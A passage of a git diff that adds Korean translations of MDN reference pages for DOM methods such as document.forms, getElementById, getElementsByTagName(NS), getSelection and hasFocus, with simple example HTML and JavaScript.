+ <dd>입력 위치에 클립보드의 내용을 붙여넣기 합니다(현재의 선택 영역을 교체합니다). user.js 설정 파일에서 클립보드가 활성화 되어 있어야 합니다. 참고 [1].</dd>
+ <dt><code>redo</code></dt>
+ <dd>이전에 실행 취소된 명령을 다시 실행합니다.</dd>
+ <dt><code>removeFormat</code></dt>
+ <dd>현재 선택 영역의 모든 문서 형식을 제거합니다.</dd>
+ <dt><code>selectAll</code></dt>
+ <dd>편집 가능 영역의 모든 내용을 선택합니다.</dd>
+ <dt><code>strikeThrough</code></dt>
+ <dd>선택 영역이나 입력 위치의 가로줄을 온/오프 합니다.</dd>
+ <dt><code>subscript</code></dt>
+ <dd>선택 영역이나 입력 위치의 아랫첨자를 온/오프 합니다.</dd>
+ <dt><code>superscript</code></dt>
+ <dd>선택 영역이나 입력 위치의 윗첨자를 온/오프 합니다.</dd>
+ <dt><code>underline</code></dt>
+ <dd>선택 영역이나 입력 위치의 밑줄을 온/오프 합니다.</dd>
+ <dt><code>undo</code></dt>
+ <dd>직전에 실행된 명령을 취소합니다.</dd>
+ <dt><code>unlink</code></dt>
+ <dd>선택된 링크에서 링크 태그를 제거합니다.</dd>
+ <dt><code>useCSS</code> {{Deprecated_inline}}</dt>
+ <dd>생성된 마크업의 HTML 태그나 CSS 사용을 토글합니다. 변수 값으로 boolean true/false 값을 넘겨야 합니다. 주의: 이 값은 논리적으로 반대입니다(CSS를 사용하기 위해서는 false를 HTML을 사용하기 위해서는 true). (Internet Explorer는 지원하지 않습니다.) 이 명령은 더이상 사용하지 않습니다. 대신 <em>styleWithCSS</em> 명령어를 사용하세요.</dd>
+ <dt><code>styleWithCSS</code></dt>
+ <dd><em>useCSS</em> 명령어를 대체합니다. 변수 값은 예상한대로 작동합니다. 예를 들어서 마크업에서 <em>style</em> 속성을 수정하거나 생성하려면 true를, false는 포매팅 요소를 생성합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>CodePen의 <a href="http://codepen.io/netsi1964/full/QbLLGW/">how to use</a>를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing', '#execcommand()', 'execCommand')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.execCommand")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li>{{domxref("document.designMode")}}</li>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li>
+ <li><a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md">Scribe's "Browser Inconsistencies" documentation</a> with bugs related to <code>document.execCommand</code>.{{CompatUnknown}}</li>
+</ul>
diff --git a/files/ko/web/api/document/forms/index.html b/files/ko/web/api/document/forms/index.html
new file mode 100644
index 0000000000..675110bb47
--- /dev/null
+++ b/files/ko/web/api/document/forms/index.html
@@ -0,0 +1,77 @@
+---
+title: Document.forms
+slug: Web/API/Document/forms
+tags:
+  - Forms
+translation_of: Web/API/Document/forms
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>forms</code>는 현재 document에 존재하는 {{HTMLElement("form")}} element 들이 담긴 collection (an {{domxref("HTMLCollection")}})을 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>collection</var> = document.forms;</pre>
+
+<h2 id="Example" name="Example">Example: Getting form information</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+
+&lt;head&gt;
+&lt;title&gt;document.forms example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form id="robby"&gt;
+  &lt;input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="dave"&gt;
+  &lt;input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="paul"&gt;
+  &lt;input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_2Getting_an_element_from_within_a_form">Example 2:Getting an element from within a form</h2>
+
+<pre class="brush: js">var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_Also" name="See_Also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLFormElement")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/getelementbyid/index.html b/files/ko/web/api/document/getelementbyid/index.html
new file mode 100644
index 0000000000..ff66b88d8b
--- /dev/null
+++ b/files/ko/web/api/document/getelementbyid/index.html
@@ -0,0 +1,152 @@
+---
+title: Document.getElementById()
+slug: Web/API/Document/getElementById
+tags:
+  - API
+  - DOM
+  - Document
+  - Elements
+  - Method
+  - Reference
+  - Web
+translation_of: Web/API/Document/getElementById
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p><code><strong>Document.getElementById()</strong></code> 메서드는 주어진 문자열과 일치하는 {{domxref("Element.id", "id")}} 속성을 가진 요소를 찾고, 이를 나타내는 {{domxref("Element")}} 객체를 반환합니다. ID는 문서 내에서 유일해야 하기 때문에 특정 요소를 빠르게 찾을 때 유용합니다.</p>
+
+<p>ID가 없는 요소에 접근하려면 {{domxref("Document.querySelector()")}}를 사용하세요. 모든 {{Glossary("CSS selector", "선택자")}}를 사용할 수 있습니다.</p>
+
+<h2 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h2>
+
+<pre class="syntaxbox">document.getElementById(<em>id</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><strong><code>id</code></strong></dt>
+ <dd>찾으려는 요소 ID. ID는 대소문자를 구분하는 문자열로, 문서 내에서 유일해야 합니다. 즉, 하나의 값은 하나의 요소만 사용할 수 있습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 ID와 일치하는 DOM 요소를 나타내는 {{domxref("Element")}} 객체. 문서 내에 주어진 ID가 없으면 <code>null</code>.</p>
+
+<h2 id="예제" name="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers  language-html">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;getElementById 예제&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p id="para"&gt;어떤 글&lt;/p&gt;
+  &lt;button onclick="changeColor('blue');"&gt;blue&lt;/button&gt;
+  &lt;button onclick="changeColor('red');"&gt;red&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js">function changeColor(newColor) {
+  var elem = document.getElementById('para');
+  elem.style.color = newColor;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', 250, 100) }}</p>
+
+<h2 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">용법</h2>
+
+<p>메서드 이름 중 <code>"Id"</code>의 대소문자가 정확해야 합니다. <code>getElementByID()</code>가 자연스러워 보일지라도 유효하지 않은 이름이기에 사용할 수 없습니다.</p>
+
+<p>{{domxref("Document.querySelector()")}}나 {{domxref("Document.querySelectorAll()")}}과는 달리 <code>getElementById()</code>는 전역 <code>document</code> 객체의 메서드로만 사용할 수 있고, DOM의 다른 객체는 메서드로 가지고 있지 않습니다. ID 값은 문서 전체에서 유일해야 하며 "국지적"인 버전을 쓸 이유가 없기 때문입니다.</p>
+
+<h3 id="예제_2" name="예제_2">예제</h3>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+    &lt;title&gt;Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div id="parent-id"&gt;
+        &lt;p&gt;hello word1&lt;/p&gt;
+        &lt;p id="test1"&gt;hello word2&lt;/p&gt;
+        &lt;p&gt;hello word3&lt;/p&gt;
+        &lt;p&gt;hello word4&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;script&gt;
+        var parentDOM = document.getElementById('parent-id');
+        var test1=parentDOM.getElementById('test1');
+        //throw error
+        //Uncaught TypeError: parentDOM.getElementById is not a function
+    &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><code>id</code>에 맞는 요소가 없을 때 <code>getElementById()</code>는 <code>null</code>을 반환합니다. 매개변수 <code>id</code>가 대소문자를 구분한다는 점을 기억하세요. <code>document.getElementById("<strong>M</strong>ain")</code>는 <code>&lt;div id="<strong>m</strong>ain"&gt;</code> 대신 <code>null</code>을 반환하는데 "M"과 "m"을 구분하기 때문입니다.</p>
+
+<p><strong>문서에 없는 요소</strong>는 <code>getElementById()</code>가 팀색하지 않습니다. 요소를 동적으로 생성해서 ID를 부여하더라도, {{domxref("Node.insertBefore()")}}나 비슷한 메서드로 문서 트리에 삽입해야 <code>getElementById()</code>로 접근할 수 있습니다.</p>
+
+<pre class="brush: js line-numbers  language-js">var element = document.createElement('div');
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el이 null!
+</pre>
+
+<p><strong>HTML이 아닌 문서</strong>. DOM 구현체는 요소의 어떤 속성이 ID인지 알고 있어야 합니다. 문서의 DTD가 정의하고 있지 않으면, 속성명이 "id"라고 해도 ID 유형인건 아닙니다. <a href="/ko/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/ko/docs/XUL" title="en-US/docs/XUL">XUL</a> 등 자주 쓰이는 문서의 경우 <code>id</code> 속성을 ID 유형으로 정의하고 있습니다. ID 유형의 속성이 어떤 것인지 모르는 다른 구현의 경우 <code>null</code>을 반환합니다.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition for the interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Supersede DOM 1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Supersede DOM 2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Intend to supersede DOM 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.getElementById")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Document")}}는 문서 안의 요소에 접근할 수 있는 다른 메서드와 속성으로의 참조를 가지고 있습니다.</li>
+ <li>{{domxref("Document.querySelector()")}}를 사용하면 <code>'div.myclass'</code> 처럼 선택자로 요소를 탐색할 수 있습니다.</li>
+ <li><a href="/ko/docs/xml/xml:id" title="en-US/docs/xml/id">xml:id</a> - <code>getElementById()</code>가 (Ajax 호출 등으로 받은) XML 문서에서 "xml:id" 속성 값을 사용할 수 있도록 도와주는 메서드를 가지고 있습니다.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/api/document/getelementsbytagname/index.html b/files/ko/web/api/document/getelementsbytagname/index.html
new file mode 100644
index 0000000000..1d2284b02a
--- /dev/null
+++ b/files/ko/web/api/document/getelementsbytagname/index.html
@@ -0,0 +1,117 @@
+---
+title: Document.getElementsByTagName()
+slug: Web/API/Document/getElementsByTagName
+tags:
+  - API
+  - DOM
+  - 레퍼런스
+  - 메소드
+translation_of: Web/API/Document/getElementsByTagName
+---
+<div>{{ ApiRef("DOM") }}<br>
+{{domxref("Document")}} 인터페이스의 <strong><code>getElementsByTagName</code></strong> 메소드는 엘리먼트의 {{domxref("HTMLCollection")}} 과 주어진 태그명을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 검색됩니다. 반환된 <code>HTMLCollection</code> 은 살아있는데, 이는 <code>document.getElementsByTagName()</code> 을 다시 호출하지 않아도 자동으로 업데이트하여 DOM 트리와 동기화된 상태를 유지함을 의미합니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var <var>elements</var> = document.getElementsByTagName(<em>name</em>);</pre>
+
+<ul>
+ <li><var>elements</var> 는 트리에 나타난 순서대로 발견된 살아있는 {{domxref("HTMLCollection")}} 입니다(하지만 아래 노트를 보세요).</li>
+ <li><var>name</var> 은 엘리먼트의 이름을 나타내는 문자열입니다. 특수 문자 "*" 은 모든 엘리먼트를 나타냅니다.</li>
+</ul>
+
+<div class="note"><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">최신 W3C 명세</a>에서는 <var>elements</var> 가 <code>HTMLCollection</code> 라고 하지만, WebKit 브라우저에서는 {{domxref("NodeList")}} 를 반환합니다. 자세한 내용은 {{bug(14869)}} 버그를 확인하시기 바랍니다.</div>
+
+<h2 id="예시">예시</h2>
+
+<p>다음 예시에서, <code>getElementsByTagName()</code> 는 특정 부모 엘리먼트에서 시작해 그 부모 엘리먼트의 DOM 을 거쳐 위에서 아래로 재귀 탐색을하고, 태그 <code>name</code> 파라미터에 일치하는 모든 자손 엘리먼트의 집합을 생성합니다. 여기에서는 <code>document.getElementsByTagName()</code> 과 기능적으로 동일하며 DOM 트리의 특정 엘리먼트를 시작으로하여 탐색하는 {{domxref("Element.getElementsByTagName()")}} 모두를 시연합니다.</p>
+
+<p>버튼 클릭은 <code>getElementsByTagName()</code> 을 사용해 특정 부모의 자손 문단(p) 엘리먼트를 셉니다(다큐먼트 자체 또는 중첩된 {{HTMLElement("div")}} 엘리먼트 중 하나).</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;getElementsByTagName example&lt;/title&gt;
+  &lt;script&gt;
+    function getAllParaElems() {
+      var allParas = document.getElementsByTagName('p');
+      var num = allParas.length;
+      alert('There are ' + num + ' paragraph in this document');
+    }
+
+    function div1ParaElems() {
+      var div1 = document.getElementById('div1');
+      var div1Paras = div1.getElementsByTagName('p');
+      var num = div1Paras.length;
+      alert('There are ' + num + ' paragraph in #div1');
+    }
+
+    function div2ParaElems() {
+      var div2 = document.getElementById('div2');
+      var div2Paras = div2.getElementsByTagName('p');
+      var num = div2Paras.length;
+      alert('There are ' + num + ' paragraph in #div2');
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body style="border: solid green 3px"&gt;
+  &lt;p&gt;Some outer text&lt;/p&gt;
+  &lt;p&gt;Some outer text&lt;/p&gt;
+
+  &lt;div id="div1" style="border: solid blue 3px"&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+
+    &lt;div id="div2" style="border: solid red 3px"&gt;
+      &lt;p&gt;Some div2 text&lt;/p&gt;
+      &lt;p&gt;Some div2 text&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;p&gt;Some outer text&lt;/p&gt;
+  &lt;p&gt;Some outer text&lt;/p&gt;
+
+  &lt;button onclick="getAllParaElems();"&gt;
+    show all p elements in document&lt;/button&gt;&lt;br /&gt;
+
+  &lt;button onclick="div1ParaElems();"&gt;
+    show all p elements in div1 element&lt;/button&gt;&lt;br /&gt;
+
+  &lt;button onclick="div2ParaElems();"&gt;
+    show all p elements in div2 element&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="노트">노트</h2>
+
+<p>HTML 다큐먼트에서 호출될 때, getElementsByTagName() 은 처리전에 인수를 소문자로 변환합니다. 이는 HTML 다큐먼트의 하위 트리에 속한 낙타 표기법의 SVG 엘리먼트를 찾으려할 때 바람직하지 않습니다. 그런 경우에는 {{Domxref("document.getElementsByTagNameNS()")}} 가 유용합니다.{{Bug(499656)}} 버그도 확인하시기 바랍니다.</p>
+
+<p><code>document.getElementsByTagName()</code> 은 전체 다큐먼트를 포함하여 탐색한다는 점만 제외하고 {{domxref("Element.getElementsByTagName()")}} 와 유사합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core: Document.getElementsByTagName</a></li>
+</ul>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.getElementsByTagName")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("Element.getElementsByTagName()")}}</li>
+ <li>{{domxref("document.getElementById()")}} 는 <code>id</code> 로 엘리먼트의 참조를 반환합니다</li>
+ <li>{{domxref("document.getElementsByName()")}} 은 <code>name</code> 으로 엘리먼트의 참조를 반환합니다</li>
+ <li>{{domxref("document.querySelector()")}} 는 <code>'div.myclass'</code> 같은 쿼리를 사용할 수 있는 강력한 셀렉터입니다.</li>
+</ul>
diff --git a/files/ko/web/api/document/getelementsbytagnamens/index.html b/files/ko/web/api/document/getelementsbytagnamens/index.html
new file mode 100644
index 0000000000..77c5001581
--- /dev/null
+++ b/files/ko/web/api/document/getelementsbytagnamens/index.html
@@ -0,0 +1,149 @@
+---
+title: Document.getElementsByTagNameNS()
+slug: Web/API/Document/getElementsByTagNameNS
+tags:
+  - API
+  - DOM
+  - NeedsMarkupWork
+  - NeedsSpecTable
+  - getElementsByTagNameNS
+  - 레퍼런스
+  - 메소드
+translation_of: Web/API/Document/getElementsByTagNameNS
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>주어진 네임스페이스에 속하는 태그명을 갖는 엘리먼트의 목록을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 탐색합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><var>elements</var> = document.getElementsByTagNameNS(<var>namespace</var>, <var>name</var>)
+</pre>
+
+<ul>
+ <li><var>elements</var> 는 트리에 나타난 순서로 발견된 살아있는 {{DOMxRef("NodeList")}} 입니다(하지만 아래를 확인하세요).</li>
+ <li><var>namespace</var> 는 탐색하기 위한 엘리먼트의 네임스페이스 URI 입니다({{domxref("Node.namespaceURI", "element.namespaceURI")}}) 를 확인하세요).</li>
+ <li><var>name 은 탐색할 엘리먼트의 로컬명 또는 모든 엘리먼트에 일치하는 특별 값 <code>*</code> 입니다</var>({{domxref("Node.localName", "element.localName")}} 를 확인하세요).</li>
+</ul>
+
+<p class="note"><strong>노트:</strong> W3C 명세는 <code>elements</code> 를 <code>NodeList</code> 라고 하였지만, Gecko 와 Internet Explorer 에서는 {{DOMxRef("HTMLCollection")}} 을 반환합니다. Opera 는<code>NodeList</code> 를 반환하지만 <code>namedItem</code> 메소드를 구현해 <code>HTMLCollection</code> 과 유사하게 만듭니다. 2012 년 1월 기준으로, WebKit 브라우저만 순수한 <code>NodeList</code> 를 반환합니다. 자세한 내용은 <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=14869">bug 14869</a> 를 확인하세요.</p>
+
+<p class="note"><strong>노트:</strong> 현재 이 메소드의 파라미터는 대소문자를 구분하지만, Firefox 3.5 와 그 이전에는 그렇지 않았습니다. 자세한 내용은 <a href="/ko/docs/Mozilla/Firefox/Releases/3.6#DOM">Firefox 3.6 개발자 릴리즈 노트</a>와 {{domxref("Element.getElementsByTagNameNS")}} 의 브라우저 호환성 섹션을 확인하세요.</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>다음 예시에서 <code>getElementsByTagNameNS</code> 는 특정 부모 노트로부터 시작하고 위에서 아래로 해당 DOM 의 부모노드를 재귀적으로 탐색하여 태그 <code>name</code> 파라미터에 일치하는 자식 엘리먼트를 찾습니다.</p>
+
+<p><code>getElementByTagName</code> 이 실행된 노드가 <code>document</code> 노드가 아닐 때, {{domxref("element.getElementsByTagNameNS")}} 메소드가 사용됨을 유의하세요.</p>
+
+<p>다음 예시를 사용하려면, .xhtml 확장의 새 파일로 복사/붙여넣기 하세요.</p>
+
+<pre class="brush: html">&lt;html xmlns="<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"&gt;
+
+&lt;head&gt;
+&lt;title&gt;getElementsByTagNameNS example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function getAllParaElems()
+{
+  var allParas = document.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p");
+
+  var num = allParas.length;
+
+  alert("There are " + num + " &amp;lt;p&amp;gt; elements in this document");
+}
+
+
+function div1ParaElems()
+{
+  var div1 = document.getElementById("div1")
+  var div1Paras = div1.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p");
+
+  var num = div1Paras.length;
+
+  alert("There are " + num + " &amp;lt;p&amp;gt; elements in div1 element");
+}
+
+
+function div2ParaElems()
+{
+  var div2 = document.getElementById("div2")
+  var div2Paras = div2.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p");
+
+  var num = div2Paras.length;
+
+  alert("There are " + num + " &amp;lt;p&amp;gt; elements in div2 element");
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body style="border: solid green 3px"&gt;
+&lt;p&gt;Some outer text&lt;/p&gt;
+&lt;p&gt;Some outer text&lt;/p&gt;
+
+  &lt;div id="div1" style="border: solid blue 3px"&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+    &lt;p&gt;Some div1 text&lt;/p&gt;
+
+    &lt;div id="div2" style="border: solid red 3px"&gt;
+    &lt;p&gt;Some div2 text&lt;/p&gt;
+    &lt;p&gt;Some div2 text&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+&lt;p&gt;Some outer text&lt;/p&gt;
+&lt;p&gt;Some outer text&lt;/p&gt;
+
+&lt;button onclick="getAllParaElems();"&gt;
+ show all p elements in document&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div1ParaElems();"&gt;
+ show all p elements in div1 element&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div2ParaElems();"&gt;
+ show all p elements in div2 element&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="지원하지_않는_다른_브라우저를_위한_잠재적인_대안">지원하지 않는 다른 브라우저를 위한 잠재적인 대안</h2>
+
+<p>원하는 브라우저가 XPath 를 지원하지 않는다면, 원하는 로컬명과 네임스페이스를 갖는 모든 태그를 찾기 위한 다른 접근법(모든 자식을 거쳐 DOM 을 횡단, 모든 @xmlns 인스턴스 식별 등)이 필요하지만, XPath 가 훨씬 빠릅니다(Explorer 에 적용하려면, 아래의 함수에서 XPath 대신 <a class="external" href="http://www.davidflanagan.com/javascript5/display.php?n=21-10&amp;f=21/10.js">이 래퍼 클래스같은</a> XPath 래퍼를 호출할 수 있습니다(Explorer 는 다른 API 로 XPath 를 지원합니다).)</p>
+
+<pre class="brush: js">function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
+ if (!doc) {
+  doc = document;
+ }
+ if (!context) {
+  context = doc;
+ }
+
+ var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+
+        var a = [];
+        for(var i = 0; i &lt; result.snapshotLength; i++) {
+            a[i] = result.snapshotItem(i);
+        }
+        return a;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-getElBTNNS">DOM Level 2 Core: Document.getElementsByTagNameNS</a></p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.getElementsByTagNameNS")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{DOMxRef("Element.getElementsByTagNameNS()")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/getselection/index.html b/files/ko/web/api/document/getselection/index.html
new file mode 100644
index 0000000000..40ec764f1e
--- /dev/null
+++ b/files/ko/web/api/document/getselection/index.html
@@ -0,0 +1,8 @@
+---
+title: Document.getSelection()
+slug: Web/API/Document/getSelection
+translation_of: Web/API/DocumentOrShadowRoot/getSelection
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>이 메소드는 {{domxref("Window.getSelection()")}} 와 동일합니다. 이 메소드는 {{domxref("Selection")}} 형의 객체를 반환하는데, 이 객체는 현재 페이지에서 선택된 영역의 정보를 반영합니다.</p>
diff --git a/files/ko/web/api/document/hasfocus/index.html b/files/ko/web/api/document/hasfocus/index.html
new file mode 100644
index 0000000000..b41818b736
--- /dev/null
+++ b/files/ko/web/api/document/hasfocus/index.html
@@ -0,0 +1,101 @@
+---
+title: Document.hasFocus()
+slug: Web/API/Document/hasFocus
+tags:
+  - API
+  - DOM
+  - Focus
+  - Method
+  - Reference
+translation_of: Web/API/Document/hasFocus
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code><strong>Document.hasFocus()</strong></code> 메소드는 문서 또는 문서 내의 요소(element) 중 어느 하나라도 포커스(focus)를 갖고 있으면 <code>true, </code>그렇지 않으면<code> false</code>인 {{jsxref("Boolean")}} 값을 반환한다. 이 메소드를 사용하여 문서내 활성화된(active) 요소가 포커스를 갖고 있는지 판단할 수 있다.</p>
+
+<div class="note">
+<p>문서를 볼 때, 포커스를 가진 요소는 언제나 문서상의 활성화된 요소이다. 반면에 활성화된 요소는 꼭 포커스를 갖지 않을 수 도 있다. 예를 들면 전면에 나와있지 않은(not a foreground) 팝업창 내의 활성화된 요소는 포커스를 갖고 있지 않다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre>focused = document.hasFocus();</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>문서 내의 활성화된 요소가 포커스를 갖고 있지 않으면 <code>false</code>를 반환, 포커스를 갖고 있다면 <code>true</code>를 반환</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre><code>&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;TEST&lt;/title&gt;
+&lt;style&gt;
+#message { font-weight: bold; }
+&lt;/style&gt;
+
+&lt;script&gt;
+
+setInterval( CheckPageFocus, 200 );
+
+function CheckPageFocus() {
+  var info = document.getElementById("message");
+
+  if ( document.hasFocus() ) {
+    info.innerHTML = "The document has the focus.";
+  } else {
+    info.innerHTML = "The document doesn't have the focus.";
+  }
+}
+
+function OpenWindow() {
+  window.open (
+    "http://developer.mozilla.org/",
+    "mozdev",
+    width=640,
+    height=300,
+    left=150,
+    top=260
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;h1&gt;JavaScript hasFocus example&lt;/h1&gt;
+  &lt;div id="message"&gt;Waiting for user action&lt;/div&gt;
+  &lt;div&gt;&lt;button onclick="OpenWindow()"&gt;Open a new window&lt;/button&gt;&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</code></pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
